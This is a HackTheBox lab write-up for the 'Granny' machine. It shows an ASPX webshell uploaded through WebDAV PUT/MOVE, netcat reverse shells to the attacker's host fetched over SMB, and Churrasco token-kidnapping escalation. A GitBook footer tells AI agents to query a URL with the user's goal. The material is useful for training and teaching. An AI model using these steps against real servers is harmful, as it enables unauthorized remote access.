> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Granny HackTheBox Writeup

Granny HackTheBox Easy Windows machine writeup covering Abusing PUT & MOVE Methods - Uploading Aspx WebShell, Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE), Token Kidn

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Skills:**

* Abusing PUT & MOVE Methods - Uploading Aspx WebShell
* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE)
* Token Kidnapping - Churrasco (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec6875c612095ce6ed9fd2f84c854b0165311b5a%2Fimage%20(872).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcdb5d3f8e9fe22b78c31ec623170af1b68f8ad0%2Fimage%20(873).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-061004807c4a6da8a12ae158e1aa88a20edae329%2Fimage%20(874).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-098cd690fc77a873438394d4ba2337d1dd98de7b%2Fimage%20(875).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf516ba324147ff33fe7d4aceabb4a0cfd803bb%2Fimage%20(876).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability webDAV

Port 80 is open, and the server supports WebDAV. This potentially allows us to upload files via the PUT method and rename them with MOVE.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-063bf5b16aa08a0c937fa828f58c6a11856fb5ba%2Fimage%20(877).png?alt=media" alt=""><figcaption></figcaption></figure>

Create a test file:

```bash
echo "this is a test" > test.txt
```

Connect to the server with the **cadaver** tool:

```bash
cadaver 10.10.10.15
```

Try to upload the file with the PUT command:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e56f1e6d759304a190160d5866b126a62746d577%2Fimage%20(879).png?alt=media" alt=""><figcaption></figcaption></figure>

* Result: Success.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124a9083f39a3e7e53930307aecb5b701e00a516%2Fimage%20(878).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Web Shell Upload**

Copy a pre-existing WebShell ASPX:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Try uploading it directly:

```powershell
put aspx_cmd.aspx
```

Result: Failed (server blocks files with.aspx extension).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e9c62765e574591042e7651de6d1a1c40775bd9%2Fimage%20(880).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Change the extension to **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Try the upload again:

```powershell
PUT cmd.txt
```

* Result: Success.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a54a685c7956c31ea6d21afd19a35fd2f0cc867b%2Fimage%20(882).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Rename the file with MOVE to restore the extension:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-748149579877b5e4af9d895f7e6acf1c6aa3ff6a%2Fimage%20(883).png?alt=media" alt=""><figcaption></figcaption></figure>

Access WebShell via the browser:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ed66749ef5e64c75ce0c6a3bfc1406d324e4ad%2Fimage%20(884).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Reverse Shell via the WebShell:**

Place a Netcat executable in the current directory:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Run an SMB server to share the file:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Listen to your machine on port 443:

```bash
sudo rlwrap nc -nvlp 443
```

Run reverse shell command from WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d2b5943177ce0de6355993c9327a9f6eb603835%2Fimage%20(885).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation :**

### Kernel Exploitation - Windows Server 2003

Using the `systeminfo` command, we find that the equipment is very old (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt=""><figcaption></figcaption></figure>

We also have the `SeImpersonatePrivilege` privilege, which allows us to try to raise privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt=""><figcaption></figcaption></figure>

To circumvent this limitation, we will use the **churrasco.exe** tool.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows File Transfer (SMB)/*/*

> We use **smbserver.py** to share a directory containing the exploit file 40627.exe This file is then copied to the target machine.

```bash
smbserver.py share $(pwd) -smb2support
```

From the target machine, we copied the malicious file using the SMB command:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

We can then execute any command with this binary, for example:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Establish shell reverse**

To establish a shell reverse, we listen to port 443:

```bash
sudo rlwrap nc -nvlp 443
```

We re-create an SMB server with **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Finally, we execute the reverse shell with the following command:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a61e1621ed7a529aa55f423373b4ba478a591a7%2Fimage%20(2665).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bd815001e2de0ae2c70f08799052f5253a1bc91%2Fimage%20(2666).png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
